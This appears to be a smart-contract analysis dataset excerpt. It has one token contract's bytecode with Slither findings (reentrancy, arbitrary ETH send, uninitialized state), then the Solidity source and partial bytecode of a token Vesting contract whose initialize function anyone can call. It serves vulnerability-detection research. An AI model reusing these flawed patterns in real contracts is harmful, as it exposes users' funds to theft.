ffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d24ede07d893ad1ff98bcaea91b5dae7e044248795e85bd64e8d994749bedf9e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,486
0x18684f460ba87C6C3253EC6b96322F6fd911692b
/** *Submitted for verification at Etherscan.io on 2021-02-04 */ // SPDX-License-Identifier: (c) Otsea.fi, 2021 pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error * * @dev Default OpenZeppelin */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Vesting { using SafeMath for uint256; IERC20 public token; uint256 public totalTokens; uint256 public releaseStart; uint256 public releaseEnd; mapping (address => uint256) public starts; mapping (address => uint256) public grantedToken; // this means, released but unclaimed amounts mapping (address => uint256) public released; event Claimed(address indexed _user, uint256 _amount, uint256 _timestamp); event Transfer(address indexed _from, address indexed _to, uint256 _amount, uint256 _timestamp); // do not input same recipient in the _recipients, it will lead to locked token in this contract function initialize( address _token, uint256 _totalTokens, uint256 _start, uint256 _period, address[] calldata _recipients, uint256[] calldata _grantedToken ) public { require(releaseEnd == 0, "Contract is already initialized."); require(_recipients.length == _grantedToken.length, "Array lengths do not match."); releaseEnd = _start.add(_period); releaseStart = _start; token = IERC20(_token); token.transferFrom(msg.sender, address(this), _totalTokens); totalTokens = _totalTokens; uint256 sum = 0; for(uint256 i = 0; i<_recipients.length; i++) { starts[_recipients[i]] = releaseStart; grantedToken[_recipients[i]] = _grantedToken[i]; sum = sum.add(_grantedToken[i]); } // We're gonna just set the weight as full tokens. Ensures grantedToken were entered correctly as well. require(sum == totalTokens, "Weight does not match tokens being distributed."); } /** * @dev User may claim tokens that have vested. **/ function claim() public { address user = msg.sender; require(releaseStart <= block.timestamp, "Release has not started"); require(grantedToken[user] > 0 || released[user] > 0, "This contract may only be called by users with a stake."); uint256 releasing = releasable(user); // updates the grantedToken grantedToken[user] = grantedToken[user].sub(releasing); // claim will claim both released and releasing uint256 claimAmount = released[user].add(releasing); // flush the released since released means "unclaimed" amount released[user] = 0; // and update the starts starts[user] = block.timestamp; token.transfer(user, claimAmount); emit Claimed(user, claimAmount, block.timestamp); } /** * @dev returns claimable token. buffered(released) token + token released from last update * @param _user user to check the claimable token **/ function claimableAmount(address _user) external view returns(uint256) { return released[_user].add(releasable(_user)); } /** * @dev returns the token that can be released from last user update * @param _user user to check the releasable token **/ function releasable(address _user) public view returns(uint256) { if (block.timestamp < releaseStart) return 0; uint256 applicableTimeStamp = block.timestamp >= releaseEnd ? releaseEnd : block.timestamp; return grantedToken[_user].mul(applicableTimeStamp.sub(starts[_user])).div(releaseEnd.sub(starts[_user])); } /** * @dev Transfers a sender's weight to another address starting from now. * @param _to The address to transfer weight to. * @param _amountInFullTokens The amount of tokens (in 0 decimal format). We will not have fractions of tokens. **/ function transfer(address _to, uint256 _amountInFullTokens) external { // first, update the released released[msg.sender] = released[msg.sender].add(releasable(msg.sender)); released[_to] = released[_to].add(releasable(_to)); // then update the grantedToken; grantedToken[msg.sender] = grantedToken[msg.sender].sub(releasable(msg.sender)); grantedToken[_to] = grantedToken[_to].sub(releasable(_to)); // then update the starts of user starts[msg.sender] = block.timestamp; starts[_to] = block.timestamp; // If trying to transfer too much, transfer full amount. uint256 amount = _amountInFullTokens.mul(1e18) > grantedToken[msg.sender] ? grantedToken[msg.sender] : _amountInFullTokens.mul(1e18); // then move _amount grantedToken[msg.sender] = grantedToken[msg.sender].sub(amount); grantedToken[_to] = grantedToken[_to].add(amount); emit Transfer(msg.sender, _to, amount, block.timestamp); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639852595c116100715780639852595c14610139578063a3f8eace1461015f578063a9059cbb14610185578063b6c238b5146101b1578063fc0c546a146101d7578063fd536f5d146101fb576100b4565b80634e71d92d146100b9578063766e33f4146100c35780637e1c0c09146100dd5780638033fe49146100e557806386a1da9c146100ed5780638988504914610113575b600080fd5b6100c16102de565b005b6100cb6104f9565b60408051918252519081900360200190f35b6100cb6104ff565b6100cb610505565b6100cb6004803603602081101561010357600080fd5b50356001600160a01b031661050b565b6100cb6004803603602081101561012957600080fd5b50356001600160a01b031661051d565b6100cb6004803603602081101561014f57600080fd5b50356001600160a01b0316610552565b6100cb6004803603602081101561017557600080fd5b50356001600160a01b0316610564565b6100c16004803603604081101561019b57600080fd5b506001600160a01b03813516906020013561060e565b6100cb600480360360208110156101c757600080fd5b50356001600160a01b03166107f0565b6101df610802565b604080516001600160a01b039092168252519081900360200190f35b6100c1600480360360c081101561021157600080fd5b6001600160a01b038235169160208101359160408201359160608101359181019060a08101608082013564010000000081111561024d57600080fd5b82018360208201111561025f57600080fd5b8035906020019184602083028401116401000000008311171561028157600080fd5b91939092909160208101903564010000000081111561029f57600080fd5b8201836020820111156102b157600080fd5b803590602001918460208302840111640100000000831117156102d357600080fd5b509092509050610811565b6002543390421015610337576040805162461bcd60e51b815260206004820152601760248201527f52656c6561736520686173206e6f742073746172746564000000000000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526005602052604090205415158061037457506001600160a01b03811660009081526006602052604090205415155b6103af5760405162461bcd60e51b8152600401808060200182810382526037815260200180610b386037913960400191505060405180910390fd5b60006103ba82610564565b6001600160a01b0383166000908152600560205260409020549091506103e09082610a93565b6001600160a01b03831660009081526005602090815260408083209390935560069052908120546104119083610aad565b6001600160a01b03808516600081815260066020908152604080832083905560048083528184204290558354825163a9059cbb60e01b815291820195909552602481018790529051959650929093169363a9059cbb936044808501949193918390030190829087803b15801561048657600080fd5b505af115801561049a573d6000803e3d6000fd5b505050506040513d60208110156104b057600080fd5b50506040805182815242602082015281516001600160a01b038616927f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a928290030190a2505050565b60025481565b60015481565b6003